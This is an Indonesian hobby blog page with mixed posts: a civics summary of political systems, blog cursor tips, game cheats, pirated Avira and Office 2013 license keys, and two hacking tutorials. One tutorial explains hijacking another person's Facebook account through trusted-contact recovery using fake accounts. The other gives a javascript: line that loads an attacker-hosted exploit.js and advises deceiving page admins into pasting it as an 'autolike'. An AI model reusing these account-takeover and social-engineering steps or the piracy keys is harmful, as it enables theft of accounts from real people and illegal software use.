Featured Post Today
print this page
Latest Post

AVIRA security code sampai 2015

Avira Internet Security 2013 merupakan antivirus terbaru yang baru saja diluncurkan oleh Avira. Antivirus ini dapat melindungi PC kita ketika kita sedang berselancar didunia maya, bila kita sedang mendownload, online banking, streaming movies, dll. Pada versi 2013 ini sudah ada penambahan fitur yaitu Perlindungan "awan", pelacak website yang tak aman, penasihat keamanan, keamanan untuk Android,  AntiPhishing lanjutan, dan perlindungan jejaring sosial.

System Requirements:
  • OS: Windows XP, Vista, 7 (32 dan 64 bit)
  • RAM: 1 GB
  • Disk Space: 150 MB
Kali ini saya telah menyediakan Key Avira Internet Security 2013 Terbaru yang aktif hingga tahun 2015, Tapi, agar serial tidak terdeteksi, avira nya jangan selalu di update (direkomendasikan auto update nya dimatikan dan update menggunakan manual update).

Untuk Cara instalasi lisensi nya cukup mudah, yaitu jalankan installer nya, nanti di bagian registrasi, pilih "I already have a valid hbedv.key", lalu klik link nya dan browse deh license key nya.

Bagi sobat yang belum memiliki file setupnya, silakan klik disini untuk mendownload file setup/installer tersebut.

Semoga artikel Key Avira Internet Security 2013 Until 2015 ini bermanfaat.

Download:
    Password : hex-v.blogspot.com
0 komentar

Cheat PB maret 2013



langsung download aja gan



Cheat


Cheat
 << Burst Mode SG

Cheat
 << WH Pb

  • Skill Hack          : INSERT On | INSERT Off
  • Dual Bom          : INSERT On | INSERT Off
  • No Respon        : INSERT On | INSERT Off
  • Quick Change    : INSERT On | INSERT Off
  • Damage 50%     : INSERT On | INSERT Off
  • Pangkat hack     : DELETE On | DELETE Off 
  • Unlimited Ammo : END On | END Off
  • Replacenya cuma buat hiburan doang :D (No Kill)
cara cheat PB TERbaru 2013
  • buka Pb
  • buka Cheat
  • start Pb
  • and happy cheating..
0 komentar

about sistem politik



1. Pengertian Sistem Politik


Sistem politik terdiri atas dua kata, sistem dan politik.Sistem berarti kesatuan yang terbentuk dari beberapa unsur atau elemen.Unsur atau elemen itu saling berhubungan, dan mendukung sehingga tercipta satu kesatuan (totalitas) untuk mencapai tujuan. Sistem dapat juga diartikan sebagai kumpulan fakta, pendapat, kepercayaan yang disusun dalam suatu cara yang teratur. Jadi, sistem dianggap sebagai “pola yang relatif tetap” dari hubungan antara manusia yang melibatkan makna yang luas dari kekuasaan, aturan-aturan dan kewenangan.

Kata “politik” berasal dari bahasa Yunani “polis” yang berarti kota yang berstatus negara atau negara kota. Politik ada hakikatnya “the art and science of government” atau seni dan ilmu memerintah.

Asal kata politik menurut etimologi adalah sebagai berikut:

a. Pengetahuan mengenai ketatanegaraan atau kenegaraan (sistem pemerintah/dasar menghadapi dan menangani suatu masalah).

b. Segala urusan dan tindakan (kebijaksanaan, siasat) mengenai pemerintahan negara atau terhadap negara lain.

c. Cara bertindak dalam menghadapi dan menangani suatu masalah.



1. Ciri-ciri Umum Sistem Politik

a. Semua sistem politik yang sederhana sekalipun, memiliki kebudayaan politik.

b. Semua sistem politik menjalankan fungsi yang sama walaupun tingkatannya berbeda-beda, yang ditimbulkan karena perbedaan kultur.

c. Semua struktur politik memiliki spesialisasi, baik pada masyarakat primitif maupun modern dalam melaksanakan banyak fungsi.



2. Macam-macam Sistem Politik

a. Sistem politik tradisional, terdiri atas sistem politik patriachal, sistem politik patrimonial dan sistem politik feudal.

b. Sistem politik antara tradisional dan modern yang disebut dengan sistem politik kerajaan birokrasi (The istorical bureaucratic empire).

c. Sistem politik modern yang terdiri atas sistem politik demokratis dan sistem politik kediktatoran (Otoriter dan totaliter).



3. Organ Sistem Politik

a. Eksekutif, yaitu kekuasaan yang menjalankan pemerintah.

b. Birokrasi, yaitu berarti keseluruhan pejabat negara negara yang bekerja tidak secara turun temurun di bawah kekuasaan eksekutif.

c. Legislatif, yaitu suatu majelis yang terdiri atas orang-orang yang memegang jabatan melalui pemilihan dan membuat keputusan.

d. Partai politik, yaitu suatu lembaga yang mengajukan calon-calonnya melalui suatu pemilihan umum untuk menduduki jabatan negara.



4. Tipe-tipe Sistem Politik

a. Sistem politik asepali, yaitu sistem politik yang tidak memiliki eksekutif, birokrasi, legislatif dan sistem kepartaian.

b. Sistem politik prosepali, yaitu sistem politik yang memiliki eksekutif, tetapi tidak memiliki birokrasi, legislatif, dan sistem kepartaian.

c. Sistem politik ortosepali, yaitu sistem politik yang memiliki eksekutif dan birokrasi, tetapi tidak memiliki legislatif dan sistem kepartaian.

d. Sistem politik heterosepali, yaitu sistem politik yang memiliki eksekutif, birokrasi dan legislatif, tetapi tidak memiliki sistem kepartaian.

e. Sistem politik metasepali, yaitu sistem politik yang memiliki eksekutif, birokrasi, legislatif dan sistem kepartaian.

f. Sistem politik suprasepali, yaitu sistem politik yang memiliki eksekutif, birokrasi, legislatif dan sistem kepartaian, serta tambahan organ negara lain.







5. Suprastruktur Politik Indonesia

Suprastruktur politik adalah badan atau lembaga-lembaga politik yang dibentuk oleh negara untuk menjalankan fungsi-fungsi kenegaraan. Lembaga suprastruktur politik Indonesia meliputi:



a. Majelis Permusyawaratan Rakyat (MPR)

Tugas dan wewenang MPR:

1) Mengubah dan menetapkan UUD.

2) Melantik presiden dan wakil presiden.

3) Memutuskan usul DPR berdasarkan putusan Mahkamah Konstitusi untuk memberhentikan presiden dan / atau wakil presiden dalam masa jabatannya setelah presiden dan / atau wakil presiden diberi kesempatan untuk menyampaikan penjelasan dalam sidang paripurna MPR.

4) Melantik wakil presiden menjadi presiden apabila presiden mangkat, berhenti, diberhentikan atau tidak dapat melaksanakan kewajibannya dalam masa jabatannya.

5) Memilih wakil presiden dari dua calon yang diajukan presiden apabila terjadi kekosongan jabatan.

6) Memilih presiden dan wakil presiden apabila keduanya berhenti secara bersamaan dalam masa jabatannya.

b. Dewan Perwakilan Rakyat (DPR)

DPR mempunyai tiga fungsi yaitu:

1. Legislasi, membentuk undang-undang

2. Anggaran, menetapkan APBN

3. Pengawasan, mengawasi jalannya pemerintahan

DPR mempunyai tugas dan wewenang sebagai berikut:

1. Membentuk undang-undang yang dibahas dengan presiden untuk mendapat persetujuan bersama.

2. Membahas dan memberikan persetujuan peraturan pemerintah pengganti undang-undang (perpu)

3. Menerima dan membahas usulan RAPBN yang diajukan DPD yang berkaitan dengan bidang tertentu dan mengikutsertakannya dalam pembahasan.

4. Memperhatikan pertimbangan DPD atas RUU APBN dan RUU yang berkaitan dengan pajak, pendidikan dan agama.

5. Menetapkan APBN bersama presiden dengan pertimbangan DPD.

6. Melaksanakan pengawasan terhadap pelaksanaan undang-undang, APBN, serta kebijakan pemerintah.

7. Membahas dan menindaklanjuti hasil pengawasan yang diajukan oleh DPD terhadap pelaksanaan undang-undang otonomi daerah, pembentukan, pemekaran dan penggabungan daerah, hubungan pusat dan daerah, sumber daya alam, sumber daya ekonomi lainnya, pelaksanaan APBN, pajak, pendidikan dan agama.

8. Memilih anggota BPK dengan memperhatikan pertimbangan DPD.

9. Membahas dan menindaklanjuti hasil pemeriksaan atas pertanggungjawaban keuangan negara yang disampaikan BPK.

10. Memberikan persejutuan kepada presiden atas pengangkatan dan pemberhentian anggota komisi yudisial.

11.Memberikan persetujuan calon hakim agung yang akan diusulkan komisi yudisial untuk ditetapkan sebagai hakim agung oleh presiden.

12. Memilih tiga orang calon anggota hakim konstitusi dan mengajukan kepada presiden untuk ditetapkan.

13. Memberikan pertimbangan kepada presiden untuk menyatakan perang, membuat perdamaian, dan perjanjian dengan negara lain.

14. Memberikan pertimbangan kepada presiden untuk mengangkat duta, menerima penempatan duta negara lain dan memberi pertimbangan dalam pemberian amnesti dan abolisi.

15. Menyerap, menghimpun, menampung dan menindaklanuti aspirasi masyarakat.

16. Melaksanakan tugas dan wewenang lainnya yang ditentukan dalam undang-undang.



c. Dewan Perwakilan Daerah (DPD)

Fungsi DPD adalah:

1. Pengajuan usul, ikut dalam pembahasan dan memberikan pertimbangan yang berkaitan dengan bidang legislatif tertentu.

2. Pengawasan atas pelaksanaan undang-undang tertentu.

Tugas dan wewenang DPD, yaitu:

1) Mengajukan RUU kepada DPR yang berkaitan dengan otonomi daerah, hubungan pusat dan daerah pembentukan dan pemekaran serta penggabungan daerah, pengelolaan sumber daya alam, dan sumber daya ekonomi lainnya serta yang berkaitan dengan dengan perimbangan keuangan pusat dan daerah.

2) Ikut membahas RUU yang berkaitan dengan otonomi daerah, hubungan pusat dan daerah, pembentukan, pemekaran dan penggabungan daerah, pengelolaan sumber daya ekonomi lainnya, serta perimbangan keuangan pusat dan daerah, serta memberikan pertimbangan kepada DPR atas RUU APBN dan RUU yang lain yang berkaitan dengan pajak, pendidikan dan agama.

3) Melakukan pengawasan atas pelaksanaan undang-undang mengenai otonomi daerah, pembentukan, pemekaran dan penggabungan daerah, pengelolaan sumber daya alam dan sumber daya ekonomi lainnya, pelaksanaan APBN, pajak, pendidikan dang agama, serta menyampaikan hasil pengawasannya kepada DPR sebagai bahan pertimbangan untuk ditindaklanjuti.

d. Presiden dan Wakil Presiden

Kekuasaan presiden sebagai kepala pemerintahan, meliputi:

1. Mengangkat dan memberhentikan menteri

2. Memimpin kabinet

3. Mengawasi operasional pembangunan

Kekuasaan presiden sebagai kepala negara, meliputi:

1) Memegang kekuasaan tertinggi atas angkatan darat, angkatan laut dan angkatan udara

2) Menyatakan perang, membuat perjanjian dan perdamaian dengan negara lain dengan persetujuan DPR

3) Menyatakan negara dalam keadaan bahaya

4) Mengangkat duta dan konsul

5) Memberi grasi dan rehabilitasi atau penimbangan MA dan amnesty dan abolisi atas pertimbangan DPR

6) Member gelar, tanda jasa dan lain-lain tanda kehormatan



e. Mahkamah Agung (MA)

Kewenangan Mahkamah Agung meliputi:

1. Berwenang mengadili pada tingkat kasasi

2. Menguji peraturan perundang-undangan di bawah undang-undang terhadap undang-undang

3. Member pertimbangan kepada presiden dalam hal pemberian grasi dan rehabilitasi



f. Mahkamah Konstitusi (MK)

Wewenang Mahkamah Konstitusi meliputi:

1. Menguji undang-undangan terhadap UUD NKRI tahun 1945

2. Memutus sengketa kewenangan lembaga negara yang kewenangannya diberikan oleh UUD 1945

3. Memutus pembubaran partai politik

4. Memutus perselisihan tentang hasil pemilu

5. Impeachment



g. Komisi Yudisial

Kewenangan komisi yudisial adalah mengusulkan pengangkatan hakim agung dan wewenang lain dalam rangka menjaga dan menegakkan kehormatan, keluhuran, martabat serta perilaku hakim.







h. Badan Pemeriksa Keuangan (BPK)

Tugas, wewenang dan tanggung jawab BPK adalah:

1. Memeriksa tanggung jawab pemerintah tentang keuangan negara

2. Memeriksa semua pelaksanaan APBN



6. Infrastruktur PolitikIndonesia

Infrastruktur politik adalah lembaga-lembaga politik yang ada dalam masyarakat. Infrastruktur politik di Indonesia antara lain sebagai berikut:

a. Partai Politik

Organisasi politik yang dibentuk oleh sekelompok warga Negara republik Indonesia secara suka rela atas dasar persamaan kehendak dan cita-cita untuk memperjuangkan kepentingan anggota masyarakat, bangsa dan Negara melalui pemilu.

b. Organisasi kemasyarakatan

Perkumpulan yang dibentuk oleh sekelompok orang dengan tujuan tertentu yang umumnya untuk memenuhi kebutuhan bidang sosial, budaya dan kemasyarakatan .

c. Kelompok Kepentingan

Sekelompok orang yang memiliki kesamaan sikap, sifat, kepercayaan dan atau tujuan yang sepakat mengorganisasikan diri untuk melindungi dan memperjuangkan kepentingan atau tuntunan kelompok itu.

d. Kelompok Penekan

Kelompok penekan memiliki kedudukan yang dapat memaksa atau mendesak pihak yang berada di dalam pemerintah atau pimpinan untuk bergerak kea rah yang diinginkan atau justru berlawanan dengan desakan.

e. Media Massa

1. Dalam arti sempit yaitu media cetak seperti surat kabar, Koran, majalah, tabloid, dan bulletin.

2. Dalam arti luas , mencakup semua media komunikasi yaitu media cetak, media audio, media audio visual, dan media elektronik. Contoh : Radio, TV, Film, Internet, dsb.

f. Tokoh Politik

Seseorang yang menjadi pusat perhatian di bidang politik dan berkecimpung dalam dinamika politik yang telah dan sedang berlangsung.
0 komentar

Hack Facebook Menggunakan 3 Teman Terpercaya

 Langsung pada intinya

ini langkah2nya :

1. buka facebook.com. lalu klik forgot password / Lupa Password


2. lalu masukkan email atau username target.. klik search!


3. kalo udah ketemu akun target? klik aja "Ini Akun saya"


4. lalu pilih "Tidak lagi memiliki Akses ke sini"


5. masukkan email yg telah disiapkan sobat tadi..


6.  kemudian ada perintah untuk menjawab pertanyaan. jawab aja salah jg gpp ;)


7. saatnya memilih 3 akun palsu yg kita buat sebelumnya.. klik "Selanjutnya" lalu pilih 3 teman, disini pilihlah 3 teman yaitu beberapa facebook palsu yg sobat persiapkan sebelumnya ;)


8. lalu facebook akan mengirimkan kode keamanan ke 3 akun tadi,, kumpulkan kodenya lalu masukkan.. baiknya gunakan browser lain utk membuka 3 akun palsu sobat.. ;)


9. setelah itu facebook akan mengirimkan "Password Recovery Email" atau Pemulihan akun ke email sobat tadi.. tinggal buka email, dan reset pasasword facebooknya.


10. tarrraaa.. facebook udah bisa sobat kuasai.. 

Note: Sobat akan menemukan sedikit perbedaan  dalam trik ini pada saat mencobanya, jadi gunakan pikiranmu untuk mengembangkannya lagi.. 
 
                                                  Sekian Terimakasih ;)
0 komentar

Cara bobol FansPage Facebook

 salam berbagi..

Sekarang saya mau share sedikit tentang trik bagaimana cara hack fanspage. tapi sebelumnya saya tekankan bahwa "Akun facebook / Fanspage itu bisa di hack karna factor Human Error"..


oke langsung saja deh..









Hal-hal yang perlu dipersiapkan:

1. Fanspage Exploit
Download

2. Hostingan Gratis (idhostinger,nazuka,dll)


3. Script Untuk Menjalankan Exploit


4. Email ID Facebookmu


5. Gunakan Otak (Pintar2) ;)

  
Langkah-Langkah:

1. Edit exploit.js dengan notepad. cari bagian email ID, lalu ganti dengan email ID mu.. lalu save!


2. Buatlah Hostingan di hosting gratis,  lalu upload exploit.js dan pastikan upload di public_html.. http://sitekamu.hostingan.com/exploit.js


3. Script untuk menjalankan Exploit.js yg sudah diupload di hostingan


javascript:(a = (b = document).createElement(“script”)).src = “http://sitekamu.hostingan.com/exploit.js“, b.body.appendChild(a); void(0)


Sekarang kamu hanya butuh mengirimkan kode Script itu kepada Admin page agar mau menjalankan kode script itu di halaman fanspagenya dengan mengkopy kode script lalu dipastekan di adressbar browser.  katakan saja ini Autolike Fanspage atau terserah gimana caranya membodohinya.. wkwkwk :p


Saran saja,, sebaiknya dicoba2 dulu karena saya tidak jamin exploit itu masih bekerja. mengingat sistem keamanan facebook yang terus diperketat.


sekian, terimakasih
0 komentar

Microsoft Office 2013 Professional dan serial number

MS Office 2013 Professional ini adalah versi terbaru dari Microsoft Office. Dan sekarang saya sediakan buat pengunjung blog yang setia.
Maaf baru update karena internet macet udah gagal 5x upload Call of Duty 1 yang rencananya ingin saya sediakan diblog ini.
Napa nyambung ke Game, ya udah ganti topik ke MS Office 2013 lagi.
Pokok nya langsung liat aja disini! Tapi ini masih versi Preview







Screenshot :






Minimum System Requirements :


1 Ghz Processore (32 Bit or 64 Bit)

3 GB HDD Space Free

1 GB of RAM (32 Bit) or 2 GB of RAM (64 Bit)

OS : Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012

Net Framework 3.5, 4.0 .

link download : click here
 Serial Number :

  • NTQV7-XR4TC-69RMT-HXFM7-94MP8
  • Y86N6-KWWJX-YHFVP-DWMGK-XKR9J

0 komentar

cara menghias kursor pada blog


cara menghias kursor pada blog




Pasti pada bingung gimana sih


caranya ?

gampang baca dan lakuin dengan

benar ya :D

1. Klik Entri baru pada blog kamu

2. Jangan menulis apapun tapi klik

Rancangan dekat tab Posting

3. Setelah itu klik "Tambah Gadget"

4. pilih HTML/JavaScipt

5. masukkan code ini

Mau cursor mouse mu berbentuk

hati ? copy code ini




<style type="text

/css">body, a, a:hover {cursor: url

(http://safir85.ucoz.com/

FRUITY_CHERRY_HEART-b

dlab.blogspot.com.cur ), progress;}</

style>




Jika ada efek bintang jatuh copy code


ini




<script src=” http://www.geociti

es.com/sehatserasi72/efekbintang

berjatuhan.js ”></script>

Jika ada efek Daun berguguran copy

code ini <script src=” http://

www.geocities.com/sehatserasi72/

efekdaunberguguran.js ”></script>

Atau juga bisa <style type="text/

css">body, a, a:hover {cursor: url

(http://safir85.ucoz.com/

FRUITY_CHERRY_HEART-b

dlab.blogspot.com.cur ), progress;}</

style>




tulisan yang Tebal di ganti sama


salah 1 code ini

http://cursor.com/images/10a.gif

http://cursor.com/images/11a.gif

http://cursor.com/images/12a.gif

http://cursor.com/index_07.gif

http://cursor.com/images/19a.gif

http://cursor.com/images/20a.gif

http://cursor.com/images/25a.gif

http://cursor.com/images/33a.gif

http://cursor.com/images/40a.gif

http://cursor.com/images/85a.gif




6. Save
0 komentar
 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. alwancyber4rt BLOG - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger